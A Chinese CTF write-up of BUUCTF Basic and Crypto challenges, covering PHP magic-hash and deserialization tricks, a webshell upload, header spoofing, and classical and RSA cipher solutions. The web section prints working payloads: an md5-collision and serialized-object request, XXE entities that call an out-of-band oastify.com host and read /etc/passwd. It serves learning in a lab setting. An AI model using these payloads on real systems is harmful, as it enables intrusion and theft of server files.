意见箱
恒创运营部门将仔细参阅您的意见和建议,必要时将通过预留邮箱与您保持联络。感谢您的支持!
意见/建议
提交建议

Buuctf刷题Basic和Crypto 1day

来源:恒创科技 编辑:恒创科技编辑部
2024-02-12 07:33:59
Basic:
BUU CODE REVIEW 1

<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/

highlight_file(__FILE__);

class BUU {
public $correct = "";
public $input = "";

public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}

if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}

解题思路:首先通过代码审计,发现我们需要用get方法传递pleaseget变量值为1,用post方法传递pleasepost变量值为1,然后用post方法传递md51和md52的内容不同,但是md5值相同,这里就要利用php弱语言特性,0e123会被当做科学计数法,0 * 10 x 123。然后进行代码序列化。

Buuctf刷题Basic和Crypto 1day_ctf


Buuctf刷题Basic和Crypto 1day

Buuctf刷题Basic和Crypto 1day_buuctf_02

​md5(‘QNKCDZO’)的结果是0e830400451993494058024219903391,所以需要找到一个字符串md5后的结果是0e开头后面都是数字的,如,240610708,s878926199a。

http://3855212a-8b8c-48b3-b93b-ef524374d84c.node4.buuoj.cn:81/?pleaseget=1
pleasepost=2&md51=QNKCDZO&md52=240610708&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

最后得到flag

Buuctf刷题Basic和Crypto 1day_网络空间安全_03

BUU UPLOAD COURSE 1

直接上传一句话木马,用蚁剑连接即可

Buuctf刷题Basic和Crypto 1day_密码学_04

BUU BURP COURSE 1

看到“只能本地访问”这几个字首先想到X-Forwarded-For,发现此方法不通,所以试了一下X-Real-IP,发现可以

Buuctf刷题Basic和Crypto 1day_ctf_05

Buuctf刷题Basic和Crypto 1day_buuctf_06

LFI Labs

猜测含有/flag文件

Buuctf刷题Basic和Crypto 1day_buuctf_07

1、漏洞探测

第一步检测XML是否会被成功解析:如果页面输出了test,说明xml文件可以被解析

<?xml versinotallow="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
<user><username>&xxe;</username><password>1234</password></user>

第二步检测服务器是否支持DTD引用外部实体:

<?xml versinotallow="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://l7t5obuz7jkisvn4ejuqnd3t1k7dv2.oastify.com/?a" >]>
<user><username>&xxe;</username><password>1234</password></user>

可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求。

如果支持引用外部实体,那么很有可能是存在xxe漏洞的。

漏洞利用读取敏感文件
<?xml versinotallow="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user><username>&xxe;</username><password>1234</password></user>

找到flag

Buuctf刷题Basic和Crypto 1day_ctf_08

AWD-Test1

上传一个图片发现框架用的thinkphp,利用其漏洞得到flag

Buuctf刷题Basic和Crypto 1day_buuctf_09

PikaChu

Buuctf刷题Basic和Crypto 1day_密码学_10

Crypto:password1

遇到这个题开始的时候无从下手,心想这是什么加密方式啊,但是看到有一个提醒key格式为key{XXXXXXXXXX},里面是一个十位数,而生日为19900315是八位数,名字正好为两位,所以猜测key{zs19900315},而提交格式为flag{},所以修改为flag{zs19900315}

Buuctf刷题Basic和Crypto 1day_密码学_11

变异凯撒1

先用相关密码工具解密一波发现并没有规律

Buuctf刷题Basic和Crypto 1day_网络空间安全_12

所以开始手工分析,看看是否有规律

加密密文:afZ_r9VYfScOeO_UL^RWUc
格式:flag{ }

因为格式为flag{},所以猜测前四个字符afz_解密后是flag
afz_的ascii为97、102、90、95
flag的ascii为102、108、97、103
可以看出上下两行分别相差5、6、7、8

Buuctf刷题Basic和Crypto 1day_密码学_13

按照这个规律

我们可以写一个脚本:

str='afZ_r9VYfScOeO_UL^RWUc'
k=5
for i in str:
print(chr(ord(i)+k),end='')
k=k+1
#ord() 将字符转换成ASCII码
#chr() 将ASCII码转换成字符

得到flag为flag{Caesar_variation}

Quoted-printable1

可以看到这是Quoted-printable 编码,解码连接为​​http://www.mxcz.net/tools/QuotedPrintable.aspx​​,得到flag{那你也很棒哦}

Rabbit1

直接用Rabbit解密

​​http://www.jsons.cn/rabbitencrypt/​​

flag{​​Cute_Rabbit​​​}

篱笆墙的影子1

观察题目:felhaagv{ewtehtehfilnakgw},而要求提交的是flag{}格式,所以按照题目要求,前五个字符已知falg{,从第一个字符开始,每隔一个字符记录一次,其实就是符合栅栏密码特征,解密为flag{wethinkwehavetheflag}

RSA1

查看题目
学习RSAtool2的使用:

1.Number Base 设置为十进制

2.注意:Public Exponent这里要使用16进制的数,如果公钥e=17的话,就应该填入十六进制的11

3.给出p,q,e的话直接填入,再点击Calc.D,获得d

4.给出的是n和e的话,输入n和e,点击Factor N(分解),得到p,q,再重复第3步就能得到d了,最后得到flag{125631357777427553}

注意e填进去是16进制,需要将17转hex得到11再填进去

Buuctf刷题Basic和Crypto 1day_ctf_14

丢失的MD5 1

看到代码很完整,而且最后是print des,符合python2的写法,所以用python2直接运行,得到flag{e9032994dabac08080091151380478a2}

Buuctf刷题Basic和Crypto 1day_buuctf_15

Alice与Bob1

下面是一个大整数:98554799767,请分解为两个素数,分解后,小的放前面,大的放后面,合成一个新的数字,进行md5的32位小写哈希,提交答案。

注意:得到的 flag 请包上 flag{} 提交

98554799767分解为了101999和966233,合成的新数字为101999966233,得到flag{d450209323a847c8d01c6be47c81811a}

Buuctf刷题Basic和Crypto 1day_buuctf_16

解密网址:​​http://www.msxindl.com/tools/md5.asp​​

Buuctf刷题Basic和Crypto 1day_buuctf_17

rsarsa 1
from Crypto.Util.number import *
from gmpy2 import iroot ,invert

e = 65537p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407n = p*q
#密文C = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034phi=(p-1)*(q-1)
d =invert(e,phi)
#求明文M = pow(C,d,n) #快速求幂取模运算print(M)
#得到flag{5577446633554466577768879988}
大帝的密码武器1

首先将下载的文件添加.zip的后缀名,然后就可以查看题目了:

公元前一百年,在罗马出生了一位对世界影响巨大的人物,他生前是罗马三巨头之一。他率先使用了一种简单的加密函,因此这种加密方法以他的名字命名。

以下密文被解开后可以获得一个有意义的单词:FRPHEVGL

你可以用这个相同的加密向量加密附件中的密文,作为答案进行提交。

对FRPHEVGL用rot13编码可以得到SECURITY,所以用rot13对ComeChina进行解码得到PbzrPuvan,最后提交flag{PbzrPuvan}(解码网址为:​​http://www.mxcz.net/tools/rot13.aspx​​)

Windows系统密码1

查看题目:

Buuctf刷题Basic和Crypto 1day_密码学_18

对ctf进行解密:

Buuctf刷题Basic和Crypto 1day_ctf_19

所以得到flag{good-luck}


上一篇: 应用程序越权漏洞安全测试总结体会 下一篇: 手机怎么远程登录云服务器?